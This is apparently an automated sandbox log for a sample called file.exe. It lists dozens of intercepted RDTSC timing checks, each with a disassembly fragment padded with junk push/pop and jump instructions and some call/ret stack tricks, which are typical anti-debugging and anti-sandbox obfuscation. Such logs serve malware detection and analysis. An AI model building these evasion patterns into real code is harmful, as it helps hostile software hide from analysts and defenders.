Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12836DA second address: 12836E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12836E0 second address: 12836FA instructions: 0x00000000 rdtsc 0x00000002 je 00007FD2B84F6C0Ch 0x00000008 jmp 00007FD2B84F6C00h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12836FA second address: 1283712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 je 00007FD2B8DCB2D6h 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 jp 00007FD2B8DCB2D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283712 second address: 1283726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FD2B84F6BFCh 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283843 second address: 1283849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283849 second address: 128384F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12839AC second address: 12839CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007FD2B8DCB2ECh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12839CD second address: 12839DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FD2B84F6BF6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12839DB second address: 1283A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DFh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD2B8DCB2E3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283A07 second address: 1283A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283B93 second address: 1283BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E7h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2B8DCB2E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283BC7 second address: 1283BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283BCB second address: 1283BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283EE7 second address: 1283EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283EEB second address: 1283EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283EF1 second address: 1283F09 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007FD2B84F6BF6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007FD2B84F6BFAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283F09 second address: 1283F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283F0D second address: 1283F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FD2B84F6BF6h 0x00000011 jmp 00007FD2B84F6BFAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284082 second address: 1284088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284088 second address: 12840A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD2B84F6C05h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12840A8 second address: 12840BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124609F second address: 12460BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFEh 0x00000007 jo 00007FD2B84F6BF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007FD2B84F6BF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278193 second address: 12781C2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007FD2B8DCB2D6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jmp 00007FD2B8DCB2DEh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD2B8DCB2DEh 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12781C2 second address: 12781FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C09h 0x00000007 jmp 00007FD2B84F6C09h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284779 second address: 1284786 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1284FAC second address: 1284FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jne 00007FD2B84F6BF6h 0x0000000e pushad 0x0000000f popad 0x00000010 jp 00007FD2B84F6BF6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128821A second address: 128821E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12886C8 second address: 12886CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12886CC second address: 12886DE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FD2B8DCB2DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12877A9 second address: 12877AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12877AF second address: 12877B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291F4F second address: 1291F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1254FC1 second address: 1254FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291615 second address: 129161B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291774 second address: 129177E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291AE3 second address: 1291AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD2B84F6BF6h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291AF1 second address: 1291B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jnl 00007FD2B8DCB2DEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291C5E second address: 1291C68 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296074 second address: 1296078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296245 second address: 1296265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FD2B84F6C05h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296300 second address: 1296304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129688E second address: 1296892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298260 second address: 1298266 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298266 second address: 1298270 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2B84F6BFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298D9F second address: 1298DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298A9D second address: 1298AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12998D0 second address: 1299939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ebx 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FD2B8DCB2D8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov si, 73DEh 0x00000029 push 00000000h 0x0000002b xor dword ptr [ebp+122D2D82h], ecx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FD2B8DCB2D8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 0000001Ch 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d xchg eax, ebx 0x0000004e pushad 0x0000004f jo 00007FD2B8DCB2DCh 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129ADF4 second address: 129ADF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129ABA9 second address: 129ABAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B61F second address: 129B623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C04C second address: 129C050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B623 second address: 129B636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129ABAD second address: 129ABC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F4FE second address: 129F55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FD2B84F6BF8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push 00000000h 0x00000025 or di, 4AACh 0x0000002a push 00000000h 0x0000002c and ebx, dword ptr [ebp+122D36EEh] 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 push ebx 0x00000035 jmp 00007FD2B84F6BFBh 0x0000003a pop ebx 0x0000003b jmp 00007FD2B84F6BFFh 0x00000040 popad 0x00000041 push eax 0x00000042 push edi 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E61C second address: 129E620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6AF second address: 129E6B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6B3 second address: 129E6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A048A second address: 12A048E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E6B9 second address: 129E6D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007FD2B8DCB2E0h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1557 second address: 12A155D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3554 second address: 12A3558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3558 second address: 12A355C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A28DD second address: 12A28E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A355C second address: 12A35D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FD2B84F6BF8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov dword ptr [ebp+1246C8CAh], esi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FD2B84F6BF8h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c adc bh, FFFFFFBCh 0x0000004f mov edi, dword ptr [ebp+122D37A6h] 0x00000055 push 00000000h 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push edi 0x0000005b jmp 00007FD2B84F6C01h 0x00000060 pop edi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A28E1 second address: 12A28E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A35D6 second address: 12A35DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A28E5 second address: 12A2903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD2B8DCB2E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2903 second address: 12A2918 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6BFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2918 second address: 12A291D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A291D second address: 12A2923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A44FF second address: 12A4503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A54A8 second address: 12A553C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2B84F6C03h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f mov esi, dword ptr [ebp+122D19C1h] 0x00000015 call 00007FD2B84F6C01h 0x0000001a stc 0x0000001b pop esi 0x0000001c popad 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FD2B84F6BF8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 jns 00007FD2B84F6BFCh 0x0000003f mov di, 783Ch 0x00000043 mov edi, 5F4799E0h 0x00000048 push 00000000h 0x0000004a mov edi, dword ptr [ebp+122D3732h] 0x00000050 jmp 00007FD2B84F6C09h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A553C second address: 12A5542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247B40 second address: 1247B50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jl 00007FD2B84F6BF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247B50 second address: 1247B5A instructions: 0x00000000 rdtsc 0x00000002 js 00007FD2B8DCB2D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7A70 second address: 12A7A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FD2B84F6BFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7A81 second address: 12A7A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8B12 second address: 12A8B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8B16 second address: 12A8B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8B1C second address: 12A8B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FD2B84F6BFCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8B46 second address: 12A8B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ACB5C second address: 12ACB66 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2B84F6BFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABD27 second address: 12ABD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE951 second address: 12AE9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop edi 0x00000009 popad 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D36AAh] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FD2B84F6BF8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d pushad 0x0000002e mov dword ptr [ebp+12457CC8h], edx 0x00000034 stc 0x00000035 popad 0x00000036 push 00000000h 0x00000038 pushad 0x00000039 js 00007FD2B84F6BFCh 0x0000003f jne 00007FD2B84F6BF6h 0x00000045 mov ebx, dword ptr [ebp+122D368Eh] 0x0000004b popad 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f jnc 00007FD2B84F6BFCh 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE9AC second address: 12AE9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ADB8A second address: 12ADB94 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE9B0 second address: 12AE9BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2B8DCB2DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE9BF second address: 12AE9C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC07 second address: 12AEC23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC23 second address: 12AEC37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FD2B84F6BF6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
